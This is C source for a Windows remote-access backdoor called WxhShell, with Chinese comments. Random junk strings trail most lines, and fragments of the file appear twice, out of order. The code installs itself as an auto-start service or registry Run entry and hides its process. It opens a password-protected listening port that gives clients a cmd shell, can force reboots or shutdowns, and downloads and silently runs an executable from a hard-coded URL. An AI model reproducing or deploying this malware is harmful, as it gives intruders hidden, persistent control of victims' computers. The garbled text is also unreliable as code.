    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W~+!"^<n  
    else { qI4R`P"  
    closesocket(wsh); wFoR,oXtL/  
    ExitThread(0); Js^r]=\F'  
    } iC5JU&l  
    break; Xx9~  
    } =w;xaxjL  
  // 获取shell T^=Ee?e  
  case 's': { )n3bi QL_  
    CmdShell(wsh); CpP$HrQ  
    closesocket(wsh); k{u%p<  
    ExitThread(0); zM9).D H  
    break; W&~iO   
  } [&]YVn>kj  
  // 退出 Lu#@~  
  case 'x': {  S9ak '  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ik@Q@ T"  
    CloseIt(wsh); d= T9mj.@  
    break; @gl%A&a  
    } gp|7{}Q{  
  // 离开 U%B]N@  
  case 'q': { "`1of8$X7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;Cp/2A}Xx  
    closesocket(wsh); 48"Y-TV  
    WSACleanup(); NId~| &\  
    exit(1); 3K'o&>}L  
    break;  "ppb%=  
        } nD?M;XN  
  } ^2?O+ =,F  
  } kvO`]>#;$?  
'm p{O  
  // 提示信息 @*`UOgP7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /o06hy  
} $nd-[xV  
  } O'sr[  
r@@eC['  
  return; &fNE9peQFa  
} H|Fqc=qp  
Bc"}nSjH  
// shell模块句柄 @v-)|8GdY  
int CmdShell(SOCKET sock) z&yb_A:>  
{ OaCj3d>  
STARTUPINFO si; /*p?UW<*4  
ZeroMemory(&si,sizeof(si)); L4A/7Ep  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 17[t_T&Ak9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `GN5QLg#}0  
PROCESS_INFORMATION ProcessInfo; CH_Dat >  
char cmdline[]="cmd"; `::(jW.KO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L!Zxc~  
  return 0; DBh/V#* D  
} kE(-vE9  
j]F3[gpc  
// 自身启动模式 k-PRV8WO  
int StartFromService(void) wT AEJ{p  
{ E$yf2Q~k  
typedef struct .1q~,}toX  
{ q}24U3ow  
  DWORD ExitStatus; 7)It1i-  
  DWORD PebBaseAddress; :bF2b..XOu  
  DWORD AffinityMask; G;#t6bk  
  DWORD BasePriority; WMRgf~TY=2  
  ULONG UniqueProcessId; .$}zw|,q  
  ULONG InheritedFromUniqueProcessId; *z:lq2"G  
}   PROCESS_BASIC_INFORMATION; T[9jTO?W2  
f7AJSHe  
PROCNTQSIP NtQueryInformationProcess; +O:pZz  
+q?0A^C>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3:gO7Uv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gg,k  
`,]PM) iC  
  HANDLE             hProcess; 3K] 0sr  
  PROCESS_BASIC_INFORMATION pbi; <yaw9k+P  
+A3\Hj&W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  Jy[8,X  
  if(NULL == hInst ) return 0; 8n p>#V  
X1QZEl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c] 9CN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mztq7[&-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ED_5V@  
>N"PLSY1  
  if (!NtQueryInformationProcess) return 0; !x / Z"  
@uD{`@[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &IY_z0=  
  if(!hProcess) return 0; -^yc yZ  
p%tg->#L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,'DrFlI  
f;dU72]q+  
  CloseHandle(hProcess); X51$5%  
tce8*:rNH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $=a$z"  
if(hProcess==NULL) return 0; } ZGpd9D  
<G=@Gl  
HMODULE hMod; F09AX'nj  
char procName[255]; QRa6*AYm  
unsigned long cbNeeded; n,LKkOG  
<T[ui  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \`5u@Nzx  
-\v8i.w0  
  CloseHandle(hProcess); ee[NZz  
[<$d@}O  
if(strstr(procName,"services")) return 1; // 以服务启动 _qNLy/AY  
S*@0%|Q4r  
  return 0; // 注册表启动 nit7|T@^  
} 7OHw/-j\  
=x]dP.  
// 主模块 &h[}5  
int StartWxhshell(LPSTR lpCmdLine) bd;f@)X  
{ Bq`kVfx  
  SOCKET wsl; 6VE5C g  
BOOL val=TRUE; L#b Q`t  
  int port=0; fbkjK`_q  
  struct sockaddr_in door; d'D\#+%> =  
b;ZAz  
  if(wscfg.ws_autoins) Install(); 1yc@q8  
.q}k  
port=atoi(lpCmdLine); p8J"%Jq}  
8iA(:Tb  
if(port<=0) port=wscfg.ws_port; )uWNN"  
ZM!~M>B9R  
  WSADATA data; L@GD$F=<0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; brot&S2P><  
o|C{ s   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C>ZeG Vq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~cwwB{  
  door.sin_family = AF_INET; ^q2zqC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3Re\ T  
  door.sin_port = htons(port); v21?  
4f,x@:Jw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (P8oXb+%  
closesocket(wsl); gu&oCT  
return 1; t,nB`g?  
} %Ski5q  
B[50{;X  
  if(listen(wsl,2) == INVALID_SOCKET) { INpub 5  
closesocket(wsl); =<xbE;,0  
return 1; M+:wa@K l  
} "<#:\6aym  
  Wxhshell(wsl); pXa? Q@ 6  
  WSACleanup(); ?Pc 3*.  
cw{[B%vw  
return 0; "dTXT  
o5R40["  
} Xi.?9J`@  
-}o;Y)  
// 以NT服务方式启动 ,pz CJ@5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6Tnzg`0I  
{ 9_{!nQC.g  
DWORD   status = 0; Ags`%(  
  DWORD   specificError = 0xfffffff; RUKSGj_NJ  
Xg,BK0O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +_Z/VQv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KHtY +93  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3LR Eue7Gr  
  serviceStatus.dwWin32ExitCode     = 0; !4:,,!T  
  serviceStatus.dwServiceSpecificExitCode = 0; X Rn=;gK%J  
  serviceStatus.dwCheckPoint       = 0; #C^m>o~R  
  serviceStatus.dwWaitHint       = 0; $!Tw`O  
.EO1{2=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J^4k}  
  if (hServiceStatusHandle==0) return; (6nw8vQ  
tw66XxE  
status = GetLastError(); X[<9+Q-&  
  if (status!=NO_ERROR) Ay]5GA!W+  
{ )w-?|2-w5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s?Kn,6Y  
    serviceStatus.dwCheckPoint       = 0; Hik[pVK@  
    serviceStatus.dwWaitHint       = 0; O [/~V=  
    serviceStatus.dwWin32ExitCode     = status; kns]P<g  
    serviceStatus.dwServiceSpecificExitCode = specificError; jxvVp*-=<j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "dOzQz*E  
    return; zu#o<6E{  
  } `Nj|}^A  
jPfoI-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o9i\[Ul  
  serviceStatus.dwCheckPoint       = 0; h.*|4;  
  serviceStatus.dwWaitHint       = 0; 8T4J^6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8{C3ijR  
} (yfTkBy  
hlRE\YO&8R  
// 处理NT服务事件,比如:启动、停止 T (qu~}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {\B!Rjt[T  
{ ]NCOi ?Odx  
switch(fdwControl) :"4~VDu  
{ E _K7.c4M  
case SERVICE_CONTROL_STOP: duI8^&|  
  serviceStatus.dwWin32ExitCode = 0; }1V&(#H2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x+pFu5,  
  serviceStatus.dwCheckPoint   = 0; DjIs"5Iei  
  serviceStatus.dwWaitHint     = 0; X 6)LpMm  
  { {8' 5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !ZRV\31%  
  } iaB5t<t1r  
  return; XL:7$  
case SERVICE_CONTROL_PAUSE: :|a[6Uwl\V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :O7J9K|  
  break; 157X0&EX  
case SERVICE_CONTROL_CONTINUE: $[Fk>d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4P8:aZM  
  break; <W pz\U  
case SERVICE_CONTROL_INTERROGATE: L-XTIL$$  
  break; Nx99dr  
}; 4T:ZEvdzf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LE;c+(CAU  
} 'Gk|&^  
5J,vH  
// 标准应用程序主函数 bu]bfnYi9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rZLMY M  
{ !Ej<J&e  
 ZM"t.  
// 获取操作系统版本 ?^dyQhb  
OsIsNt=GetOsVer(); M<SZ7^9<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R$q:Ct  
R&?p^!`%  
  // 从命令行安装 ]?^mb n  
  if(strpbrk(lpCmdLine,"iI")) Install(); V{][{5SR  
W|:WAxJ*d  
  // 下载执行文件 Q]8r72uSk  
if(wscfg.ws_downexe) { ~Y{K ^:wN^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &:rf80`z.  
  WinExec(wscfg.ws_filenam,SW_HIDE); v"`w'+  
} avQwbAh[  
.m .v$(  
if(!OsIsNt) { ^Oo%`(D?  
// 如果时win9x,隐藏进程并且设置为注册表启动 |q?A8@\u  
HideProc(); }q^CR(h (R  
StartWxhshell(lpCmdLine); b<%6aRC\  
} 2?&h{PA+  
else y&UsSS  
  if(StartFromService()) gD-<^Q-  
  // 以服务方式启动 .mMM]*e[0  
  StartServiceCtrlDispatcher(DispatchTable); \QVL%,.%M  
else 4XRVluD%W.  
  // 普通方式启动 G=DRz F  
  StartWxhshell(lpCmdLine); SJ<nAX  
=oBV.BST u  
return 0; 4g|}]K1s  
} bYiaJ  
&T{+B:*v  
jVr:O `  
YM-,L-HMA  
=========================================== cY5h6+_  
T{Av[>M  
7"1M3P5*8  
06ZyR@.@v  
4h-tR  
k/>k&^?  
" uZCPxog  
nBR4j?':i  
#include <stdio.h> Zv-#v  
#include <string.h> up1kg>i%"  
#include <windows.h> 3:s!0ty"  
#include <winsock2.h> 'bTtdFvJ  
#include <winsvc.h> o^mW`g8[  
#include <urlmon.h> @u?m4v{  
`$05+UU  
#pragma comment (lib, "Ws2_32.lib") T< D&%)  
#pragma comment (lib, "urlmon.lib") nwf(`=TC  
F8nR.|  
#define MAX_USER   100 // 最大客户端连接数 ^tI ,eZ  
#define BUF_SOCK   200 // sock buffer S3$&}I <  
#define KEY_BUFF   255 // 输入 buffer C h>r.OfP  
`@RTfBB g  
#define REBOOT     0   // 重启 UZz/v#y~  
#define SHUTDOWN   1   // 关机 ';Y0qitGB  
)1N~-VuT  
#define DEF_PORT   5000 // 监听端口 !ap}+_IA7^  
OQ&l/|{O0?  
#define REG_LEN     16   // 注册表键长度 3VaL%+T$,  
#define SVC_LEN     80   // NT服务名长度 ZwM(H[iqL  
p C^d-Ii  
// 从dll定义API 8MU+i%hd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *mby fu0q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )\Am:?RH;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %g:6QS|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yw\Q>~$n[=  
Q WcQtM  
// wxhshell配置信息 kntYj}F(  
struct WSCFG { Qco8m4n  
  int ws_port;         // 监听端口 t^ Ge "  
  char ws_passstr[REG_LEN]; // 口令 F JCs$0  
  int ws_autoins;       // 安装标记, 1=yes 0=no $t0o*i{  
  char ws_regname[REG_LEN]; // 注册表键名 e>0gE`8A  
  char ws_svcname[REG_LEN]; // 服务名 i]9C"Kw$L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \(_(pcl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >e^bq/'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MroN=%|t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9k /L m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FRa>cf4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s@zO`uBc  
,R. rxoO  
}; 9A~w2z\G  
BMug7xl"  
// default Wxhshell configuration sKCYGt$  
struct WSCFG wscfg={DEF_PORT, 8yk7d76Y  
    "xuhuanlingzhe", .+A)^A  
    1, fqjBor}  
    "Wxhshell", P?p]sLrP  
    "Wxhshell", +-C.E  
            "WxhShell Service", #N"m[$;QR  
    "Wrsky Windows CmdShell Service", 4M#i_.`z  
    "Please Input Your Password: ", JkhWLQ>o  
  1, 3^[P  
  "http://www.wrsky.com/wxhshell.exe", KRz~3yH{ c  
  "Wxhshell.exe" tk]D)+{u&c  
    }; ]VL} eHZ  
_3(rwD  
// 消息定义模块 63'm @oZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k@ <dru  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ? X6M8`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w? >f:2(=[  
char *msg_ws_ext="\n\rExit."; #9gx4U  
char *msg_ws_end="\n\rQuit."; 3~{I/ft  
char *msg_ws_boot="\n\rReboot..."; LN~mKoW  
char *msg_ws_poff="\n\rShutdown..."; _V 4O#;%?  
char *msg_ws_down="\n\rSave to "; 1RJFPv  
Q,:{(R  
char *msg_ws_err="\n\rErr!";  QEg[  
char *msg_ws_ok="\n\rOK!"; `6)(Fk--"  
fX]`vjM{  
char ExeFile[MAX_PATH]; XwUa|"X6  
int nUser = 0; <pfl>Uf  
HANDLE handles[MAX_USER]; d7Vp^^}(  
int OsIsNt; [0EWIdT*b  
Vm|KL3}NRv  
SERVICE_STATUS       serviceStatus; ,VS(4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -nXP<v=V  
Q66 +  
// 函数声明 JcUU#>  
int Install(void); "]#Ij6ml  
int Uninstall(void); @4hzNi+  
int DownloadFile(char *sURL, SOCKET wsh); KF zI27r  
int Boot(int flag); PJiU2Y33  
void HideProc(void); L/ Q[N^ (^  
int GetOsVer(void); w+/`l*  
int Wxhshell(SOCKET wsl); (IBT|K  
void TalkWithClient(void *cs); Wk\(jaL%  
int CmdShell(SOCKET sock); =B9-}]DDO  
int StartFromService(void); g]lEG>y1R  
int StartWxhshell(LPSTR lpCmdLine); ss[`*89  
&nP0T-T5y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y92R}e\M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /1MmOB  
iP0m1  
// 数据结构和表定义 tGgxID  
SERVICE_TABLE_ENTRY DispatchTable[] = V_:`K$  
{ [ N|X  
{wscfg.ws_svcname, NTServiceMain}, S s+F  
{NULL, NULL} &J)<1!|  
}; >=[uLY[aK  
pASX-rb  
// 自我安装 .Q%Hi7JMi  
int Install(void) x=t(#R m  
{ 4p,:}h  
  char svExeFile[MAX_PATH]; )GkJ%o#H2  
  HKEY key; j:h}ka/!p  
  strcpy(svExeFile,ExeFile); 5E\.YqdV  
1Z) Et,  
// 如果是win9x系统,修改注册表设为自启动 ~ubvdQEW  
if(!OsIsNt) { Z1eT> 6|]r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !l9{R8m>eJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <{isWEW9]3  
  RegCloseKey(key); !?nbB2,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BM<q;;pO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]xQv\u  
  RegCloseKey(key); uZC=]Ieh  
  return 0; qD{1X25O  
    } e0TYHr)X>3  
  } h^SWb9 1"G  
} K6kz{R%`  
else { oZa'cZNs  
z:>cQUYl  
// 如果是NT以上系统,安装为系统服务 & Q3Fgj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t(u2%R4<d  
if (schSCManager!=0) w*-42r3,'  
{ |NuMDVd+s  
  SC_HANDLE schService = CreateService e9o\qEm   
  ( <rBW6o7  
  schSCManager, `,qft[1  
  wscfg.ws_svcname, 4j#y?^s  
  wscfg.ws_svcdisp, L,}'ST  
  SERVICE_ALL_ACCESS, $-}&RW9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zMsup4cl  
  SERVICE_AUTO_START, jr=9.=jI8k  
  SERVICE_ERROR_NORMAL, 'z ?Hv  
  svExeFile, aKDY_ D  
  NULL, iFd !ED  
  NULL, k =5k)}i  
  NULL, ;P91'B~t  
  NULL, GbSCk}>  
  NULL ,<v0(  
  ); NoiB9 8g  
  if (schService!=0) ek][^^4o  
  { `HX:U3/  
  CloseServiceHandle(schService); ON,[!pc  
  CloseServiceHandle(schSCManager); Pk;\^DRC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |Xt.[1  
  strcat(svExeFile,wscfg.ws_svcname); x3q^}sj%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;z'&$#pA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K!6T8^JH  
  RegCloseKey(key); ,"EaZ/Bl/  
  return 0; 5T x4u%g  
    } ]l,D,d81  
  } B!wN%> U  
  CloseServiceHandle(schSCManager); Va8 }JD  
} 8 0tA5AP  
} t<45[~[  
vNSUrf,r  
return 1; `NIb? /!f  
} JP>EW&M  
eC-&.Fl  
// 自我卸载 JWNN5#=fQ  
int Uninstall(void) ZFtx&vr P  
{ 9<gW~ s>  
  HKEY key; ?w:\0j5 ~  
W`[VLi}fe  
if(!OsIsNt) { U1YqyG8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dcf,a<K\  
  RegDeleteValue(key,wscfg.ws_regname); "Hw%@]#  
  RegCloseKey(key); o@)Fy51DD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > "hP  
  RegDeleteValue(key,wscfg.ws_regname); j,OA>{-$  
  RegCloseKey(key); Qsbyy>o)  
  return 0; Ic'D# m  
  } ;P S4@,  
} TCp9C1Q4  
} N3u06  
else { v?He]e'  
JG;}UuHYM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (dg,w*t'  
if (schSCManager!=0) *$9U/  d  
{ jRsl/dmy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "]eB2k_>  
  if (schService!=0) a4s't% P  
  { ew\:&"@2]w  
  if(DeleteService(schService)!=0) { dk7x<$h-h0  
  CloseServiceHandle(schService); e#oK% {A  
  CloseServiceHandle(schSCManager); o33t~@RX  
  return 0; Z66Xj-o  
  } vAM1|,U  
  CloseServiceHandle(schService); "}X+vd``  
  } H'i\N?VL  
  CloseServiceHandle(schSCManager); r5gqRh}+  
} Y2VfJ}%Q  
} 2sGKn a  
u0W6u} 4;  
return 1; 7)U ik}0  
} jG ouwta  
MsIR~  
// 从指定url下载文件 ;gL{*gR]S  
int DownloadFile(char *sURL, SOCKET wsh) huZ5?'/Fg  
{ }k.yLcXM  
  HRESULT hr; *$O5.`]  
char seps[]= "/"; ,hf W2}  
char *token; @tSB^&jUWu  
char *file; 2|"D\N  
char myURL[MAX_PATH]; Fug4u?-n  
char myFILE[MAX_PATH]; +o@:8!IM1  
6D ]fDeH\  
strcpy(myURL,sURL); zsuqRM "  
  token=strtok(myURL,seps); t;+b*S6D  
  while(token!=NULL) [.&JQ  
  { jOCV)V9}  
    file=token; dA~_[x:Z  
  token=strtok(NULL,seps); ;39b.v\^  
  } ]-t>F  
(1cB Tf  
GetCurrentDirectory(MAX_PATH,myFILE); 1>[#./@  
strcat(myFILE, "\\"); 8Dl(zYK;  
strcat(myFILE, file); .<vXj QE  
  send(wsh,myFILE,strlen(myFILE),0); .(/HUQn  
send(wsh,"...",3,0); .,6o):  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;i.MDW^N  
  if(hr==S_OK) i%!<9D~n  
return 0; 5=*i!c _m  
else VsTgK  
return 1; HY_>sD  
Cgln@Rz  
} (Zx--2lc  
bp/l~h.7W  
// 系统电源模块 6|lsG6uf  
int Boot(int flag) |11vm#  
{ 8+Tv@  
  HANDLE hToken; rMVcoO@3  
  TOKEN_PRIVILEGES tkp; %h(%M'm?  
(gY W iz  
  if(OsIsNt) { =^p}JhQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]["%e9#aX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O`Qke Z}  
    tkp.PrivilegeCount = 1; )-"<19eu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P(yLRc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M._E$y,5  
if(flag==REBOOT) { FO>!T@0G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &u^]YE{  
  return 0;  RSj8T<  
} S]=.p-Am  
else { > dVhIbG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Jw=7eay$F  
  return 0; U]+IP;YS  
} @C^x&Sjm  
  } mW{uChHP  
  else { y$nI?:d  
if(flag==REBOOT) { ]#DCO8Vk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vN v'%;L  
  return 0; b00$3,L   
} ]%-U~avph  
else { A`M-N<T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o "0 ~  
  return 0; (X^,.qy  
} (e5Z^9X  
} FZ%h7Oe  
\15'~ ]d  
return 1; 9;I%Dv  
} *tT}N@<%  
LEjq<t1&  
// win9x进程隐藏模块 SIm1fC  
void HideProc(void) (!8b$) k  
{ ~9APc{"A  
)c*xKij  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <sm"3qs"_  
  if ( hKernel != NULL ) *w. ":\P]  
  { ceJ#>Rj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XXX y*/P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &-o5lrq  
    FreeLibrary(hKernel); ID`C  
  } irm4lb5  
ChUE,)  
return; $Bncdf  
} Z~h6^h   
a+J>  
// 获取操作系统版本 P5B,= K>r  
int GetOsVer(void) tA4Ra,-c  
{ H-&27?s^  
  OSVERSIONINFO winfo; !^y;|9?O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p),* 4@2<  
  GetVersionEx(&winfo); zd8A8]&-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 68bvbig  
  return 1; oL R/\Y(  
  else MYb^G\K  
  return 0; yU/?4/G!  
} Jb$G  
$X-PjQb1Bb  
// 客户端句柄模块 4qE4 i:b  
int Wxhshell(SOCKET wsl) G na%|tUz|  
{ \kUQe-:he  
  SOCKET wsh; EUI*:JU-  
  struct sockaddr_in client; k ?6d\Q  
  DWORD myID; ipMSMk7gx  
M0C)SU5"  
  while(nUser<MAX_USER) hR0a5   
{ a%HNz_ro  
  int nSize=sizeof(client); R0#scr   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I:oEt  
  if(wsh==INVALID_SOCKET) return 1; *) B \M>  
ECM#J28D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MUZ]*n&0  
if(handles[nUser]==0) 2/t;}pw8  
  closesocket(wsh); "8ZV%%elp  
else cs\=8_5  
  nUser++; ZRc^}5}WA  
  } (i(E~^O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XW8@c2jN\7  
IFr"IOr'l  
  return 0; MIkp4A  
} `EMGrw_  
O^./) #!#  
// 关闭 socket r|ZB3L|7  
void CloseIt(SOCKET wsh) k0\a7$}F  
{ RJ0,7 E<B  
closesocket(wsh); [ R8BcO(  
nUser--; JBw2#ry  
ExitThread(0); aw lq/  
} l}-k>fug  
`%#_y67v  
// 客户端请求句柄 9'~qA(=.?  
void TalkWithClient(void *cs) !WGQ34R{  
{ {_.(,Z{  
euT=]j  
  SOCKET wsh=(SOCKET)cs; 5M'cOJ  
  char pwd[SVC_LEN]; !.V_?aYi8  
  char cmd[KEY_BUFF]; By!u*vSev  
char chr[1]; Ufi#y<dP  
int i,j; ,Iz9!i J"  
-*w2<DCn  
  while (nUser < MAX_USER) { ZW"f*vwQo  
yVn%Bz' [  
if(wscfg.ws_passstr) { lQ ki58.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U,yZ.1V^:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jZidT9[g  
  //ZeroMemory(pwd,KEY_BUFF); 3K~^H1l  
      i=0; \,p?pL<'  
  while(i<SVC_LEN) { 8R\6hYJ%F  
,mCf{V]#  
  // 设置超时 G] tT=X[  
  fd_set FdRead; rs>,p)  
  struct timeval TimeOut; a}VR>!b  
  FD_ZERO(&FdRead); hV`?, ~K  
  FD_SET(wsh,&FdRead); @(x]+*)  
  TimeOut.tv_sec=8; yCkWuU9  
  TimeOut.tv_usec=0; Dn#5H{D-d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f`>\bdz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #LR6wEk  
Qz{Vl> "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O\yYCi(  
  pwd=chr[0]; c; .y  
  if(chr[0]==0xd || chr[0]==0xa) { }*-fh$QJ  
  pwd=0; G^|b*n!!  
  break; /#_[{lSr?  
  } k"BM1-f  
  i++; E)I&? <g  
    } d1^5r 31  
T=V{3v@zs  
  // 如果是非法用户,关闭 socket ;VCFDE{K=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IWN18aaL?  
} GP ^^ K  
O@H D'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;Cx`RF w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mpDxJk!   
F!C<^q~!  
while(1) { BgCEv"G5  
z:dW'U?1  
  ZeroMemory(cmd,KEY_BUFF); TDP Q+Kg_  
l_ x jsu  
      // 自动支持客户端 telnet标准   TK> ~)hc}  
  j=0; bccf4EyQ Y  
  while(j<KEY_BUFF) { DBvozTsF~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OaN"6Ge#  
  cmd[j]=chr[0]; .bh 7  
  if(chr[0]==0xa || chr[0]==0xd) { B=_5gZ4Y  
  cmd[j]=0; i}<fg*6@E  
  break; tg/!=g  
  } M M @&QaK  
  j++; m9 D*I1  
    } 65+2+p  
9Z 6  
  // 下载文件 G}WY0FC6  
  if(strstr(cmd,"http://")) { &;vMJ   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]nxSVKE4p  
  if(DownloadFile(cmd,wsh)) [zrFW g6N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NZ^hp\q  
  else Y{4nBu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JkLpoe81  
  }  ? EhIK  
  else { UD2 l!)rW  
01%0u8U  
    switch(cmd[0]) { g</Mk^CE  
  O`>u70  
  // 帮助 ub4(g~E  
  case '?': { V )oKsO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gb^'u  
